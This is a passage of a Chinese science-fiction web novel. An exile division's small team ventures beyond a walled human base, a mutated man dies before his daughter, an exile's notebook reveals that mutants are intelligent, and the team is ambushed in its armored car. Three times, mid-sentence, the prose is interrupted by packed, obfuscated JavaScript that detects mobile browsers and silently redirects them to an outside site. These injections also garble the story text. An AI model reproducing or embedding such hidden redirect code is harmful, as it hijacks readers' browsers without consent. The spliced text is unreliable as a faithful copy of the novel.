在维果充斥着尖利嘲笑和无情羞辱的辅导下,单无绮写完了试卷。 她通过了考核,得到了一套防毒服。 墙外的世界已经重度污染。 单无绮检查手中的防毒服。 人类第一基地建立在文明的遗址上,基地的创建者们利用旧人类的遗产,才在这片遍布污染的土地上,隔离出唯一一片净土。 防毒服明显也是旧人类的遗产。 它由未知的高科技材料制作,雪白的衣料柔软而轻薄,覆盖住全身的皮肤。它的面部有一个可拆卸的防毒面罩,上面有几根呼吸管,从两侧绕到脑后。 防毒服的脑后有一个凹槽。 “异种晶核经过加工后,可以给防毒服的净化系统提供能源。”尤娜解释道。 她又补充道:“你是保留人类意识的异种,墙外的污染也许对你无效,但深入污染区时,你最好还是穿上防毒服,它除了防毒,还能提供一定的保护。” 单无绮点头。 “这一次壁外调查,即使毫无收获也没有关系。”尤娜叹了口气,“调查司……已经很久没有新人加入了。” 单无绮陷入沉默。 调查司是个危险的地方,加入的人都是亡命的赌徒。 “没关系,我来了。”最终,单无绮说,“一切都会好起来的。” * 两年前,基地展开第126次壁外调查。 调查司伤亡惨重,牺牲人数高达52人。 上一任调查司司长的名字,亦在讣告名单中。 经此一役,团结部调查司,仅幸存六人。 十一年前,调查司的人数已经跌下警戒线,若非阎银华力排众议,调查司早已不复存在。 拥有政治嗅觉的人们,怀着各异的心思隔岸观火。 ——然而,一个最荒谬的变数出现了。 ——单无绮回来了。 单无绮的归来是一个秘密,唯有靠近权力中心的人捕捉到些许风声。 在单无绮被拷问的三天里,基地表面风平浪静,内里暗潮汹涌。 无数人双唇嗡动,交换不宣的秘辛,无数人东奔西走,搭建或斩断关系。 “她回来了。”他们道。 “她失忆了。”他们之中,少数人道。 “她……是个异种。”他们之中,寥寥几人道。 三天后,当流言酝酿到顶峰时,首长出面了。 他亲自为单无绮背书,宣称他曾经的副官仍然具有人类的心智。 “那么,单无绮的去处是……?” “暂时保密。”首长答。 新的信息孵化新的谜团,新的谜团滋生新的流言。 此后,又一个三天过去了。 破晓时分,一支仅有七人的调查小队来到城门下。 他们统一披着斗篷,兜帽遮住脸庞。 笼罩着薄雾的街道一片寂寥。 “日安,勤劳部后勤司。”胸佩玫瑰徽章的党员看着面前的七人。 “日安,团结部调查司。”为首的那人说。 她将怀里的文书扔给勤劳部党员。 勤劳部党员对比印章。 “物资已全部就位,墙外五十米为缓冲带,仍在防护罩范围内。”勤劳部党员敬礼,“感谢你们对人类的贡献,为了人类的黎明。” “为了人类的黎明。”七人齐声道。 沉寂数年后,壁外调查再次重启。 勤劳部党员升起城门。 目送七人进入缓冲带后,勤劳部党员拿起电话听筒。 他拨动圆盘,拨出一串隐秘的号码。 等待接听的时间里,勤劳部党员看着玻璃反光中的自己。 玻璃反光中的人面容普通,眼睛一只比另一只略大,山根处生着一小片雀斑,帽檐下露出一绺灰色卷发。 不知是反光朦胧,还是天光乍晓,他的双眸泛着非人的神采,仿佛提线木偶。 “日安,工蜂。” “日安,蜂王。”勤劳部党员道,“她加入了调查司。” 电话那头沉默了数秒。 “……她回来了。”蜂王喃喃道,“看来,计划必须提前了。” 勤劳部党员安静地听着。 他的双目木楞地盯着前方。 “感谢你,亲爱的工蜂。”蜂王笑道。 嘟—— 电话挂断了。 勤劳部党员举着听筒,对挂断的提示音恍然未觉。 制式服装下,有形似触手的存在缓缓蠕动。 如同提着木偶的丝线,触手操纵勤劳部党员放下听筒,又僵硬地拉下升降阀,将大开的城门关上。 数秒后,触手平复于背部。 勤劳部党员突然大喘一口气。 “怎么回事?”勤劳部党员捂着心口,“心脏……突然好难受。” “罗萨?” “没事。”名为罗萨的勤劳部党员摆摆手,“该你换班了。” 单无绮跟在尤娜身边。 此次壁外调查,由尤娜担任临时领队。 “我们创造了两个第一次。”尤娜的声音近乎耳语,唯有单无绮才能听见,“第一次,外出人员仅有七人,以及第一次……调查小队并非司长带队。” 单无绮歪头:“虽然这么说可能不太好,但距离上一次壁外调查,已经过去了两年。” “我能感觉到,你对‘司长’这一职位,并非没有任何念想。”单无绮看着尤娜晨光中的脸庞,“你没有竞选司长吗?还是说,有什么阻碍着你吗?” “你很敏锐。” “这无关敏锐,只是客观分析。” “竞选司长前,我必须先成为核心党员。”尤娜道,“成为核心党员的条件十分苛刻,在你流放归来的前一周,我才勉强凑够贡献值。” 单无绮笑了一声:“这很好啊,你可以开始竞选司长了。” 她咳嗽一声:“虽然,你的竞争对手是我。” “你回来时,我一瞬间感到命运的捉弄。”尤娜无奈地看着单无绮,“我从未想过,传说中的单副官会死而复生。” 单无绮没有接话。 “如今的调查司,只剩下一个好听的名头了。”尤娜道,“并非所有人都拥有伟大的理想,而那些拥有理想的人中,也并非人人都愿意为理想而死。” “所以,这一次壁外调查很关键。”单无绮道,“哪怕只为了鼓舞士气,我们也必须一个不少地活着回来。” “是啊。”尤娜摘下兜帽。 她光洁的脸庞有一点苍白。 “单无绮。”尤娜道。 “到。”单无绮答。 “此次行动由我带队,你机动行事,随时准备补位。” 单无绮点头。 “我们的首要目标是保证存活,其次才是采集污染样本。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14429120|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尤娜的目光扫过所有人,“此次调查的意义是:向四部和基地宣告,调查司仍然存在。” 众人点头。 尤娜又道:“最后,作为领队,我给予所有人直接击毙我的权利。” 尤娜的语气十分平静,说话时,她的目光并没有落在身旁的同伴身上。 她微微仰头,看着拂晓的天空。 “调查司的每一个人,都是即将异化的危险分子。”尤娜道。 她的声音冷得像冰:“作为调查司的一员,深入污染区,探明污染真相,是我们义不容辞的使命,但我们必须以人类的身份回到墙内。” 阮禾轻声道:“尤娜……” “……抱歉,我言重了。”尤娜偏过头,“这次调查不会这么凶险,我们只在污染区外围兜圈子——检查装备和物资吧。” 墙外五十米范围内,仍在防护罩的保护范围中。 勤劳部将物资投放在墙外,其中包括一辆重型装甲车。 众人上车。 装甲车缓慢行驶。 单无绮微微阖眼,脑中分析众人的情报。 佩特拉已经成年,但一场意外让她的心智和身体永远停留在了八岁。 她疑似高度异化,上一次和单无绮相见时,她以迅雷不及掩耳的速度融入了单无绮的身体,仿佛水融入水。 维沙尔的体内,有一个名为“维果”的灵魂。 维果可以和单无绮建立精神链接。 佩特拉和维果都来自研究所,他们的异人之处,大概率是接受实验的结果。 剩下的四人中,尤娜和单无绮相处时间最长,尤娜也和单无绮一样,颈上时刻带着拘束器,用来压制异化程度。 阮禾和庄修文的性格最为平和。 安多尼是个大个子,他手腕上的玫瑰念珠,由异种晶核制作。 他转动念珠祈祷时,单无绮颈上的拘束器会变得滚烫,他的祈祷,似乎对异种或异化人类有特攻。 装甲车里,没有任何人说话。 即使最活泼的佩特拉也闭紧了嘴巴。 距离上一纪文明覆灭,已经过去了三百多年。 行驶过程中,沿途的遗址凝聚着旧人类的文明,如今却只余残垣。 单无绮仅仅看着这些遗址,都能想象出昔日的人类文明有多么繁荣。 半个小时后,众人来到墙外的第一个补给点。 “距离上一次外出,已经过去了足足两年。”尤娜唏嘘地感慨,“果然,这处核心已经熄灭了。” “核心?” “防护罩依靠‘核心’运转。”察觉单无绮的疑惑,尤娜主动道,“每一次壁外调查,除了采集污染样本,我们还要检查补给点的核心是否损坏。” “基地的防护罩,和补给点的防护罩原理相同,它们都依赖旧人类的遗产制作,科技已经无法复刻,只能对已有的核心进行修复。”庄修文拿起工具箱,“调查员也有不同的分工,上一次壁外调查后,负责维护核心的调查员只剩下我一个了。” “斯人已逝,赶紧干活,招妹。”尤娜道。 庄修文:“……” 庄修文咬牙切齿了一下,又打开车门。 突然,一大坨粘稠的粘液从上方坠落。 几条互咬首尾的小蛇蠕动着滚出。 它们晶亮的舌头追逐着车内人类的气味,像只被婴儿舔过的橡胶球一样,滚动着爬了过来。 12. 流放者 庄修文还来不及做出反应,单无绮已经抬起手枪。 砰! 子弹射进蛇瘤大张的吻部。 蛇瘤瞬间变成一蓬血花。 一切发生在电光火石间。 单无绮开枪时,那枚子弹几乎擦过庄修文的耳朵。 虽然没有产生擦伤,但巨大的枪声中,庄修文的耳朵依然嗡嗡作响。 “……D-197型异种,由蛇类生物异化。”蛇瘤死去后,距离最近的庄修文才喃喃开口,“它的弱点藏在口腔里,待它张嘴时射击,可以一击毙命。” 单无绮放下手枪。 她的表情轻描淡写。 “你是怎么知道它的弱点的?”庄修文的神色逐渐恢复正常。 单无绮耸了耸肩:“直觉。” “这已经不能用直觉解释了。” “菜就多练,招妹。”单无绮打断了庄修文的求知欲。 庄修文:“……” 庄修文腾地跳下车。 他提着工具箱,来到核心面前。 这处防护罩的核心,被安置在屋内一个奇异的立柱型装置上,立柱上描绘着精美的花纹,是当今人类难以望其项背的高超技艺。 立柱上,镶嵌着一颗黯淡的晶核。 庄修文从工具箱中取出一个前端尖细的探测器。 他将探测器凑近核心。 “……它彻底枯竭了。”庄修文说,“这才是第一个防护核心啊,按理说,它不该损耗得这么快。” “你能修复它吗?” “当然,这是我的本职工作。” 单无绮盯着这枚纯净的晶核。 她觉得这个东西有点眼熟:“我好像在哪里见过这东西。” “你眼熟很正常,防护罩的核心,是用异种晶核作为驱动能源的。”庄修文把探测器放回工具箱,又从箱中取出一双手套,“这个小防护罩是基地防护罩的复制品,它们都是利用旧人类遗产改造的。” 从前的人类文明真的很发达。 如果没有那场突如其来的大灾变,基地里的人,也许会活成另一种模样。 庄修文戴上手套。 他打开立柱上的某个机关,藏在里面的控制系统露了出来。 补给点十分安静,除了庄修文修复核心时发出的细微响动,屋内只有微不可闻的呼吸声。 沙沙沙。 沙沙沙。 沙沙沙。 屋外突然传来一连串诡异的响动,仿佛多足昆虫的脚步声。 单无绮愣了一瞬。 与此同时,单无绮的脖子上,冰凉的拘束器突然变得滚烫起来。 “是异种!”单无绮出声示警。 她下意识举起枪。 沙,沙,沙。 不连贯的脚步声从门外传来。 一开始,脚步声的主人还在外围漫无目的地游荡,但随着距离的拉近,对方突然察觉到屋内发生的变化,散漫的脚步声随即变得急躁起来。 沙!沙!沙! 尤娜抚摸颈上的拘束器:“招妹,你还要修多久?” “三分钟。”庄修文憋红了脖颈。 沙沙沙! 沙沙沙! 那声音仿佛铁片摩擦草地,坚硬而沙哑。 单无绮竖起耳朵:“它要来了。” 话音刚落,紧闭的房门猛地劈开了一道裂口! 劈开房门的,是一只闪烁着金属光泽的利爪。 这只利爪有着肖似人类的五指,每一根手指都被漆黑狰狞的鳞片覆盖,鳞片之下也并非皮肤,而是蠕动的胶质体。 片刻后,门上的利爪收回。 一只猩红的眼睛从裂口里出现。 “飒!”它嘶哑地咆哮,“飒!” 它的眼神警惕而混乱,仿佛一只遵循本能行动的野兽。 他安静地盯着屋内的一切,目光很快凝聚在熄灭的核心上。 “飒!”它发出尖利十倍的叫声。 “修好了!”庄修文放下手中的工具,“我马上启动防护罩!” ——嗡。 熄灭的核心重新点亮,无形的波动从核心散发出来。 它发出柔和的嗡鸣声,纯净的波动一下下扩散,仿佛水面上美丽的涟漪。 门外的异种发出凄厉的哀嚎。 “飒!!”它尖声叫道。 单无绮有点困惑。 防护罩对异种的伤害毋庸置疑,即使隔着一道房门,她也听到了“滋滋”的腐蚀声。 但外面的异种仍然没有离开。 单无绮上前一步。 尤娜拦了单无绮一下:“你要做什么?” “我觉得有点古怪。”单无绮轻轻按下尤娜的手,“我有一个感觉,外面的那个东西,好像不是冲着我们来的。” 尤娜还要劝阻,单无绮伸出一根触手:“没关系,尤娜,我也是一个异种。” 尤娜不再阻拦。 在屋内所有人的注视下,单无绮举着枪,将劈开一道裂缝的房门缓缓拉开。 一个格外畸形的异种站在门外。 单无绮之前的听觉没有出错,这只异种不止两条腿。 它的下身是一大团纠缠的触手,因为防护罩的作用,它的大部分触手已经开始融化,变成一大滩半溶解的胶质体,像沥青一样黏在地上。 但它的上身勉强还算完好。 见到单无绮后,异种愣怔了一瞬。 它硬质化的眼珠滚动了一下,随后,口中发出近乎柔和的嘶鸣声。 “飒。”它说。 “从未见过的异种。”庄修文摸着下巴,“看来,这一次壁外调查,也是有新收获的。” 单无绮没有说话。 她悲哀地看着异种的脸。 单无绮也是一个异种,但她保留了自己的意识,让她可以自如地驱使这具异化的身体,除此之外,她和人类没有任何区别。 但面前的异种,已经丧失了大部分人类的神志。 没人知道,他是怎么活到今天的。 异种伸出触手。 它已经不再是人类,但在某些事情上,它罕见地保持着人类的理智。 它用畸形的触手,隔着一段距离,克制而怜惜地描摹单无绮的脸庞。 “飒。”它的声音蕴含着人类的情感,那似乎可以称之为“喜悦”,“飒,飒飒。” 异种的身体冒出“滋滋”的声音,当它从屋外来到屋内时,它就开始加速溶解。 但它仿佛对自身的痛苦毫无知觉。 “阮禾,记录。”尤娜道。 阮禾凑近几步,她身边的佩特拉也跟着走近。 异种本来温和地站在单无绮身边。 但是,当阮禾和佩特拉出现在它的视野里时,它突然僵硬了一瞬,随后,浑身的触手不受控制地抽搐起来。 “飒!”它发出痛苦而嘶哑的声音。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14429121|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >单无绮举起枪。 “他是波利·萨恩奇。”维果突然说。 单无绮惊诧地看向维沙尔。 维沙尔仍然保持着清醒。 和那晚的夜谈不同,现在,维果若要和单无绮交流,已经无需使用维沙尔的身体。 通过两次精神交流,维果和单无绮已经建立了稳定的精神链接。 他们可以直接在脑中对话。 “你并非基地的唯一一个流放者,除你之外,还有许多人类,因为各种罪名放逐墙外。”维果说,“波利·萨恩奇就是其中之一。” “波利·萨恩奇?” “一个无足轻重的名字,比地面的尘埃还要渺小,但他值得被我记住。”维果的声音听不出情绪,“他是共荣部研究所的研究员,同时,也是佩特拉的父亲。” 单无绮的心跳停了一拍。 她看向佩特拉。 扎着羊角辫的小女孩挡在阮禾面前,圆溜溜的眼睛警惕地瞪视着异种。 她并不知道,面前这个形容扭曲的异种,正是她的父亲。 异种抽搐的触手逐渐垂落下来。 修复后的核心散发出柔和的微光。 被基地流放的那一刻起,它作为人类的生命已经结束,而现在,当它主动走进这个房间,它作为异种的生命也即将终结。 “佩佩。”异种说。 这是异种口齿最清晰的一句话,任何人都能听出,它在呼唤一个人的名字。 “佩佩?”阮禾看着佩特拉。 异种已经全部融化,在地面化为一滩胶质体。 晶核在胶质体中闪烁。 异种残存的眼珠温柔地看着佩特拉。 “……爱……”异种说,“……再……见……” 异种彻底消融了。 任何生物的死亡都悄无声息,异种也不例外。 失去生命后,地面上的胶质体很快化为一滩清亮无色的脓液,那双凝视着佩特拉的眼睛,也随之融化了。 阮禾展示速写:“我把它生前的样子记录下来了。” “采样盒还有吗?” “我、我这里有。” “主啊,它死了。” “招妹,手速挺快啊,居然这么快就修好了。” “叫我庄修文!” 防护罩内是人类的世界,尤娜等人放松地聊天。 佩特拉走到那滩液体旁边。 “……熟悉的味道。”她轻轻地咕哝。 单无绮心里有点不是滋味。 她不会对佩特拉说,面前这滩水是你的父亲。 斯人已逝,追忆过往只是无用功。 单无绮蹲在佩特拉身边,双目平视对方:“为什么会觉得熟悉呢?” “我,一直都很饿。”佩特拉的心智只有八岁。 她尽力表达内心的感受,但并非所有感受都能用语言表达:“那里又黑,又冷,又小,我闭着眼睛,爸爸拉着我的手,气味像饴糖,很甜,很香。” “我想爸爸了。”佩特拉低落地说。 “这是什么?”阮禾惊声道。 单无绮扭过头,看到佩特拉戴着手套对液体采样。 她从液体里捞出一个巴掌大小的记录本。 记录本已经被泡得肿胀,纸张又沉又软。 众人围了过来。 封面的署名已经模糊,但可以看出,它是被人为涂抹的。 阮禾翻开记录本。 13. 笔记 “315年2月17日晴 日安,捡到这本记录本的读者,我是▓▓▓(这个名字被涂黑了)。 ……好吧,我已经没有脸面重提自己的名姓,我是基地的放逐者,因为犯下重罪,被四部审判流放。 据说,我的罪名已经传到了首长那里,但谁在乎呢? 我已经完成了想要做的事。 基地建立之初,它是筑墙者为人类打造的伊甸园,但再伟大的理想也会被世俗裹挟,三百多年过去了,它已经变成地上的神国,成为了统治者践行私欲的工具。 扯远了,我来介绍一下我的罪名吧。 我是“集体决策思维”项目的研究员,因“危害人类遗传资源安全罪”被流放。 在数百年前,城墙刚刚筑起时,这个罪名并不成立。 但随着基地的封闭化,那个民智开化、百花齐放的年代逐渐离我们远去,我们真正成为了“集体决策思维”的一分子,这个曾经炙手可热的项目,反而成为了一个不可言说的秘辛。 噢,我并没有在抱怨。 我理解首长做出的决策,屁股决定脑袋,他的视野和我这个小小的研究员不同,他或许眺望着更遥远的未来。 今天,是我被流放的第一天。 被踹出城门前,我的徒弟用他灵活的舌头说服了拷问官,我被允许携带三样东西。 我选了记录本、钢笔和墨水。 我的徒弟用看白痴的眼神看着我。 “师父,我掏光家底贿赂友爱部,不是为了让你去外面连载诗歌的。”他说。 “按照现在的严打程度,十年内,诗歌专栏一定会被取消的。”我说。 然后,我的徒弟狠狠地踹上了我的屁股。 我的屁股现在都很疼。 ▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓ (此处划掉了一大段话,内容大约有两行) 我听到了沙沙的声响。 这也许会是我的绝笔信。 别了,人类第一基地!别了,我可望而不可即的黎明!别了,我深爱着的这片土地!” 这是一份极具研究价值的笔记。 所有人安静地对视一眼。 核心稳定地运转着,以柔和的频率散发出悦耳的嗡鸣声。 阮禾小心拈住泡得软烂的纸张,继续往后翻页。 “315年2月19日小雨 我以为我要死了,但我还活着! 我差点被一只流浪的异种杀死,但异种内部似乎并不团结,当我即将丧命那张腥臭的大嘴时,一只触手从天而降,拯救了我的性命。 救下我的,是一只非常美丽的异种。 我知道,用“美丽”形容异种,是不恰当且荒诞的。 但它的美丽,并非物理意义上的修辞。 我从它的三只眼睛里看到了智慧的闪光。 它有着狰狞的口器,但它察觉我的恐惧,将它的口器隐藏得很好。 它像托举一只酒精灯似的,小心翼翼地把我带去它的巢穴。 我被它投喂了很多东西,有石头、粪便、水果、不知名野兽的生肉等等。 我拒绝了一部分,也接受了一部分。 它一直对我发出一个固定的音节,这个音节无法用现有人类的语言描述,如果硬要拼写的话,它可以被写成:karvane。 经过两天的观察,我猛然意识到,它把我当成了一只宠物。 我尝试过逃脱,但我跑出不到五百米,就被一只巨大的鸟类抓走,若非那只美丽的异种及时赶来,我就要丧命在铁钳似的鸟嘴下了。 我妥协了。 从我被流放的那一刻起,我作为人类的生命已经结束了,出于生存的考虑,成为它的karvane,也许是我最好的选择。 噢,一直用“它”来称呼它,挺不礼貌的。 我给它取了一个名字。 从今天起,它就叫“瓦夏”了。 你好,瓦夏。 你好,世界。 你好,新生活。” 无需尤娜提醒,阮禾自觉向后翻页。 但这本笔记只有前两篇是连贯的。 阮禾往后翻,发现了大量草稿和涂鸦。 记录本的主人似乎在仓促中想要记录下什么,但他失败了,只留下大篇大篇的,让人摸不着头脑的混乱笔记。 阮禾加快了翻页的速度。 他们终于找到了第三篇成文的笔记。 “瓦夏已经死了,我也即将死去。 经过七年多的相处,我已经能理解瓦夏的语言,它对我发出的音节并不复杂,我们依靠默契和动作完成交流,语言只是辅佐的工具。 但它突然对我说:逃。 我听懂了它的话,却没有立刻明白它的意思,因此,我和它都错过了逃命的最佳时机。 我们被一群异种抓住了。 我们被飞舞的触手团团围住,那群异种对我毫不怜惜,我被挤压在触手和触手之间,几乎对折成两半。 瓦夏发出愤怒的叫声,但它们下一秒拔掉了瓦夏的口器,让瓦夏一个音节都无法吐出。 我像猪猡一样,被它们运到一个部落。 自此,我终于确定,异种拥有自己的文明。 他们的部落明显有着献祭的痕迹,在部落的最中央,树立着一个巨大的硬木架,上面凝固着许多褐色的血液,来自猎物,亦或来自俘虏。 瓦夏使用的语言,和这个部落的语言相同,他们的交流,我听懂了一小部分。 他们说,瓦夏是叛徒。 瓦夏被杀死了,极刑。即使我不是异种,看着也觉得寒毛直竖。 这是我的最后一篇笔记,我是在瓦夏受刑的惨叫声中写下的。 我知道,身为基地的放逐者,被全人类流放的罪人,我已经不配当人,但我的心脏仍是人类的心脏,如果有人捡到这本笔记,请把它作为罪证带回。 警惕异种。 它们绝非无智的野兽,而是具有智慧的生命。” 阮禾一直往后翻。 但后面没有任何内容了。 众人陷入良久的沉默。 单无绮盯着最后一篇日记,突然对自己的身份产生了疑问。 她真的拥有人类的意识吗? 如果瓦夏的存在是真的,如果世上存在对人类友好的异种,那么,“单无绮”会不会早已死去,取而代之的,是一个自认为是“单无绮”的异种? 她抚摸颈上的拘束器。 自证是最难的事情,人永远无法证明“我是我”。 其他人明显也想到了这个问题。 隐晦的目光在单无绮身上流连,包括尤娜。 单无绮不由得苦笑一声。 她回到基 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14429122|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地不过六天,与调查司众人相处的时间,甚至不超过三天。 三天的时间,并不足以众人对她建立信任,更何况,连她都对自己的身份感到存疑。 “把你们的枪口对准我吧,我允许你们随时向我开枪。”单无绮主动打破沉默,“这也是首长让我加入团结部的原因之一。” 尤娜等人对视一眼。 “抱歉。”尤娜道,“我们不该对你生疑。” “没关系,我理解你们,就像萨摩拷打了我三天,梅因为一点争执把我掼在墙上,但我对他们一点也恨不起来。” 说着,单无绮伸了个懒腰。 她看起来真的一点也不介意:“接下来我们去哪里?我们已经收获了这本笔记,要直接返回基地吗?” 尤娜思考了一下。 “直接折返吧,比起采集污染样本,把这本笔记送回去更重要。”她说,“这一次调查的目的,我们已经达到了。” 众人在补给点休息了一会儿,坐上装甲车。 回程由庄修文开车,尤娜和单无绮坐在最后一排。 单无绮漫无目的地扫视车内,目光凝聚在维沙尔的脑袋上。 ——从他们打开那本笔记开始,维果再也没有说过一句话。 单无绮很想问问维果的感受。 他是从研究所出来的人,而且明显保留了大部分记忆,对这本笔记的感触,会比懵然无知的佩特拉多上许多。 “你在想什么?”尤娜突然问。 “你想听真话还是假话?”单无绮笑嘻嘻地答。 尤娜:“……” 尤娜:“如果我想听假话呢?” “唔,让我想想——我在思考你们把我串成烧烤的可能性。” “……” “好啦,我开玩笑的。”单无绮干笑一声,“我在想,研究所到底是个什么地方。” “佩佩和维沙尔都来自那里,想必阎老已经告诉你了。”尤娜道。 “是的。” “佩佩的生命暂停在八岁,是他父亲戕害的结果。” 这是个意料之外的答案。 单无绮向尤娜投去求知的眼神:“方便和我讲讲吗?” “我知道的并不多,这是佩佩的秘密,她的档案至今都留在共荣部。”尤娜的声音变得有些低落,她即将谈论的事情也许十分残忍,“佩佩的父亲的名姓,在基地档案中已经被抹去了,据说他已经被秘密处决了,我只知道,他把佩佩当成实验品,让佩佩变成了一个半异化的人类。” 没有起因,没有经过,只有结果。 如此模糊的情报,间接证明了波利·萨恩奇,即佩特拉的父亲真的触碰了基地的逆鳞。 ——集体决策思维。 ——这项实验,和佩特拉有什么联系吗? 砰! 一个沉重的东西突然跳上了车顶。 那东西的重量,连装甲车都无法承受,一时间停在原地。 “什么情况?”尤娜倒吸一口凉气。 滴答。 滴答。 滴答。 唾液从装甲车上方滴落。 它们仿佛一片黏腻的雨水,在车窗上缓缓淌下垂涎的水痕。 “……是异种。”庄修文死死盯着前方。 后视镜里,他苍白的面孔没有一丝血色,双眼大睁,瞳仁颤动:“我们被异种包围了!” 14. 逃与杀 一时间,车内安静得近乎死寂。 装甲车是旧人类的遗产,由无法复刻的特种防护材料制成,十分坚固。 但即使待在车里,所有人都寒毛倒竖。 透过车窗,他们安静地看着车外。 异种。 数不清的异种。 不知何时,装甲车的四周,已经被大群异种包围。 它们形态各异,挥舞的触手上闪烁着不同的纹路。 装甲车犹如困陷在一片黏腻、蠕动的海洋中。 异种的触手是翻涌的波浪,而这片大海,欲将里面的一切生命吞噬。 “庄修文!油门踩到底!”尤娜尖利地说,“撞飞它们!回基地!” 所有人攥紧安全带。 下一秒,巨大的引擎声响彻耳畔。 庄修文猛踩油门,装甲车的车速一瞬间提升到顶峰。 他们冲出了异种的包围! 车顶上,异种不满地发出嘶哑尖利的叫声。 ——那是之前跳上车顶的异种! ——它还没有被甩下去! “坐稳了!”庄修文握紧方向盘,头也不回地大喊。 他猛甩方向盘。 短短数秒内,装甲车大幅度漂移了好几次。 车内一瞬间天旋地转。 安多尼个头最大,坐得也最稳,但身量较小的佩佩和维沙尔,几乎是立刻颠飞起来。 安多尼伸出胳膊,将两个小家伙摁在怀里。 “飒!”车顶传来愤怒的咆哮。 那个异种被激怒了! 阮禾盯着后视镜:“那些异种还在追我们!” “距离基地还有多远?最快多久能到?”尤娜问。 “20公里!”庄修文大声答,“车速已经到极限了!最快十分钟!” 嘭!嘭! 重物敲击的声音从车顶传来。 单无绮猛地生出不妙的预感:“它不会是……想把车顶凿开吧?” “不可能。”尤娜斩钉截铁地答,“之前一百多次壁外调查,从未有过异种成功破坏装甲车的先例。” “之前的壁外调查,遇到过这种追着人不放的异种吗?” 尤娜沉默了。 嘭!嘭!嘭! 敲击声更加急促了。 “招妹,再开快点!”尤娜不安地催促。 “已经最快了!我们离起飞就差一对翅膀了!”庄修文的脸都憋红了。 嘭嘭嘭!嘭嘭嘭! 令人不安的敲击声仍然持续着。 单无绮攥紧安全带,浑身紧绷地坐在座位上。 车外是飞快倒退的模糊风景,车后是一大片狂追猛打的触手狂潮,车上甚至还有一只锲而不舍给车顶开瓢的异种。 单无绮觉得,这辆装甲车像一个安了轮子的人肉罐头,开盖即食的那种。 车顶的敲击声突然停下了。 “那个异种被甩下去了吗?”阮禾紧张地问。 “不。”庄修文答,“车的重量没有变,它还在车顶上。” 单无绮不安的预感一瞬间攀升至顶峰。 “停车!准备跳车!”她的手放在内扣手上,“它马上要把车顶凿穿了!” “这不可能!”尤娜的声音近乎尖叫,蕴含着浓浓的恐惧。 但下一秒,仿佛为了印证单无绮的话,车顶猛地传来一声巨大的敲击声。 嘭!! 所有人齐齐抬头,就连庄修文都看向了上方。 一只生满水滴状蓝色鳞片的触手,如一把倒插的尖刀,劈开了厚度堪比钢板的装甲车车顶。 半个反射着微光的利爪,卡在车顶两指长的裂口里。 下一刻,那只利爪抬了起来。 它高高地举起,预备用力劈下。 “跳车!”单无绮高声喝令。 单无绮坐在靠左的一侧。 出声后,她立刻拉开车门,手肘并拢护住头颈,整个人以后背朝地的姿势,朝左前方跳去。 跳车的同时,她解开防毒服,从背后伸出一大团触手。 她分出其中两根,卷住佩特拉和维沙尔。 单无绮的动作是最快的,她跳车之后,尤娜等人才陆续跳车。 庄修文是最后一个跳车的。 他临时踩了一脚刹车,利用强大的惯性,让异种的身体用力往前栽倒了一下。 待他跳下车后,前行的装甲车带着车顶的异种,撞向了不远处的人类遗址。 “飒!”异种尖锐的哀嚎声传来。 即使庄修文临时减速,但每一个跳车的人,都不同程度地受了伤。 包括单无绮。 单无绮的体质已经足够变态,她的身体完全是一个异种,但拘束器束缚了她的能力,她垫在背后的触手,只发挥了一点点缓冲的作用。 她的后背和后肩,结结实实地摔在了地面上。 “嘶。”单无绮吃痛睁眼。 单无绮眼前的视野泛着大面积的黑红,颅中嗡嗡作响。 她仰躺在地上,看着上方。 单无绮伸出的一大团触手中,其中两根小心地卷着佩特拉和维沙尔。 即使她的身体用力摔上地面,她也将二人托举在空中。 维沙尔看着单无绮,双眼蓄满了眼泪。 被装甲车带着撞向遗址的异种发出尖利的叫声,朝跳车的众人飞扑过来。 “飒!!”异种被彻底激怒了。 尤娜等人仍然躺在地上,他们受的伤绝不比单无绮轻。 单无绮强撑着翻过身,想要驱使触手,拦截这只满含杀意的异种。 脖颈上的拘束器一瞬间变得滚烫。 “……”单无绮把牙齿都快咬碎了,才咽下喉间翻滚的脏话,“小心!它来了!” 安多尼第一个站起身。 在基地中,安多尼一直微微驼着背,但他的块头依然不容小觑。 即使离开城墙,安多尼也十分沉默。 他仿佛一株巨大而无害的植物,各种小昆虫在他的身边飞舞,但他一言不发,温和而包容地接纳了一切。 但是现在,他站直了身体。 他安静地盯着扑袭而来的异种。 狂怒的异种径直扑了过来。 人类是异种的猎物,安多尼是最大的那只猎物。 异种立刻锁定了安多尼。 异种浑身的触手在空气中张开,本就庞大的身躯一瞬间扩张了两倍。 它高高跳起,如一张从天而降的,捕鸟的罗网,要将面前的人类吞噬。 阴影覆上安多尼的面庞。 